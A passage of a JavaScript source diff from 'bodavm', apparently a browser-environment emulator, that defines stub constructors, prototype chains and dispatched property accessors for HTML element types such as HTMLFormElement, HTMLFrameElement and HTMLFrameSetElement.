bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "getSVGDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function getSVGDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "getSVGDocument", arguments); + } +}, 'prototype'); +// HTMLFieldSetElement对象 + +bodavm.memory.globalobj['HTMLFieldSetElement'] = function HTMLFieldSetElement() { + console.log_copy('HTMLFieldSetElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFieldSetElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFieldSetElement'], "HTMLFieldSetElement"); +bodavm.memory.globalobj['HTMLFieldSetElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFieldSetElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "elements", { + configurable: true, + enumerable: true, + get: function elements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "elements_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "setCustomValidity", arguments); + } +}, 'prototype'); +// HTMLFontElement对象 + +bodavm.memory.globalobj['HTMLFontElement'] = function HTMLFontElement() { + console.log_copy('HTMLFontElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFontElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFontElement'], "HTMLFontElement"); +bodavm.memory.globalobj['HTMLFontElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFontElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFontElement', "color", { + configurable: true, + enumerable: true, + get: function color() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "color_get", arguments); + }, + set: function color() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "color_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFontElement', "face", { + configurable: true, + enumerable: true, + get: function face() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "face_get", arguments); + }, + set: function face() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "face_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFontElement', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "size_get", arguments); + }, + set: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "size_set", arguments); + } +}, 'prototype'); +// HTMLFormControlsCollection对象 + +bodavm.memory.globalobj['HTMLFormControlsCollection'] = function HTMLFormControlsCollection() { + console.log_copy('HTMLFormControlsCollection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFormControlsCollection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFormControlsCollection'], "HTMLFormControlsCollection"); +bodavm.memory.globalobj['HTMLFormControlsCollection'].prototype.__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype; +bodavm.memory.globalobj['HTMLFormControlsCollection'].__proto__ = bodavm.memory.globalobj['HTMLCollection']; +bodavm.toolsFunc.defineProperty('HTMLFormControlsCollection', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormControlsCollection'].prototype, "HTMLFormControlsCollection", "namedItem", arguments); + } +}, 'prototype'); +// HTMLFormElement对象 + +bodavm.memory.globalobj['HTMLFormElement'] = function HTMLFormElement() { + console.log_copy('HTMLFormElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFormElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFormElement'], "HTMLFormElement"); +bodavm.memory.globalobj['HTMLFormElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFormElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFormElement', "acceptCharset", { + configurable: true, + enumerable: true, + get: function acceptCharset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "acceptCharset_get", arguments); + }, + set: function acceptCharset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "acceptCharset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "action", { + configurable: true, + enumerable: true, + get: function action() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "action_get", arguments); + }, + set: function action() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "action_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "autocomplete", { + configurable: true, + enumerable: true, + get: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "autocomplete_get", arguments); + }, + set: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "autocomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "enctype", { + configurable: true, + enumerable: true, + get: function enctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "enctype_get", arguments); + }, + set: function enctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "enctype_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "encoding", { + configurable: true, + enumerable: true, + get: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "encoding_get", arguments); + }, + set: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "encoding_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "method", { + configurable: true, + enumerable: true, + get: function method() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "method_get", arguments); + }, + set: function method() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "method_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "noValidate", { + configurable: true, + enumerable: true, + get: function noValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "noValidate_get", arguments); + }, + set: function noValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "noValidate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "target_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "elements", { + configurable: true, + enumerable: true, + get: function elements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "elements_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "requestSubmit", { + configurable: true, + enumerable: true, + writable: true, + value: function requestSubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "requestSubmit", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "submit", { + configurable: true, + enumerable: true, + writable: true, + value: function submit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "submit", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "rel", { + configurable: true, + enumerable: true, + get: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "rel_get", arguments); + }, + set: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "rel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "relList", { + configurable: true, + enumerable: true, + get: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "relList_get", arguments); + }, + set: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "relList_set", arguments); + } +}, 'prototype'); +// HTMLFrameElement对象 + +bodavm.memory.globalobj['HTMLFrameElement'] = function HTMLFrameElement() { + console.log_copy('HTMLFrameElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFrameElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFrameElement'], "HTMLFrameElement"); +bodavm.memory.globalobj['HTMLFrameElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFrameElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "scrolling", { + configurable: true, + enumerable: true, + get: function scrolling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "scrolling_get", arguments); + }, + set: function scrolling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "scrolling_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "frameBorder", { + configurable: true, + enumerable: true, + get: function frameBorder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "frameBorder_get", arguments); + }, + set: function frameBorder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "frameBorder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "longDesc", { + configurable: true, + enumerable: true, + get: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "longDesc_get", arguments); + }, + set: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "longDesc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "noResize", { + configurable: true, + enumerable: true, + get: function noResize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "noResize_get", arguments); + }, + set: function noResize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "noResize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "contentDocument", { + configurable: true, + enumerable: true, + get: function contentDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "contentDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "contentWindow", { + configurable: true, + enumerable: true, + get: function contentWindow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "contentWindow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "marginHeight", { + configurable: true, + enumerable: true, + get: function marginHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginHeight_get", arguments); + }, + set: function marginHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginHeight_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "marginWidth", { + configurable: true, + enumerable: true, + get: function marginWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginWidth_get", arguments); + }, + set: function marginWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginWidth_set", arguments); + } +}, 'prototype'); +// HTMLFrameSetElement对象 + +bodavm.memory.globalobj['HTMLFrameSetElement'] = function HTMLFrameSetElement() { + console.log_copy('HTMLFrameSetElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFrameSetElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFrameSetElement'], "HTMLFrameSetElement"); +bodavm.memory.globalobj['HTMLFrameSetElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFrameSetElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "cols", { + configurable: true, + enumerable: true, + get: function cols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "cols_get", arguments); + }, + set: function cols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "cols_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "rows", { + configurable: true, + enumerable: true, + get: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "rows_get", arguments); + }, + set: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "rows_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onafterprint", { + configurable: true, + enumerable: true, + get: function onafterprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onafterprint_get", arguments); + }, + set: function onafterprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onafterprint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onbeforeprint", { + configurable: true, + enumerable: true, + get: function onbeforeprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeprint_get", arguments); + }, + set: function onbeforeprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeprint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onbeforeunload", { + configurable: true, + enumerable: true, + get: function onbeforeunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeunload_get", arguments); + }, + set: function onbeforeunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeunload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onhashchange", { + configurable: true, + enumerable: true, + get: function onhashchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onhashchange_get", arguments); + }, + set: function onhashchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onhashchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onlanguagechange", { + configurable: true, + enumerable: true, + get: function onlanguagechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onlanguagechange_get", arguments); + }, + set: function onlanguagechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onlanguagechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onmessageerror", { + configurable: true, + enumerable: true, + get: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessageerror_get", arguments); + }, + set: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessageerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onoffline", { + configurable: true, + enumerable: true, + get: function onoffline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onoffline_get", arguments); + }, + set: function onoffline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onoffline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "ononline", { + configurable: true, + enumerable: true, + get: function ononline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "ononline_get", arguments); + }, + set: function ononline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "ononline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpagehide", { + configurable: true, + enumerable: true, + get: function onpagehide() { + return 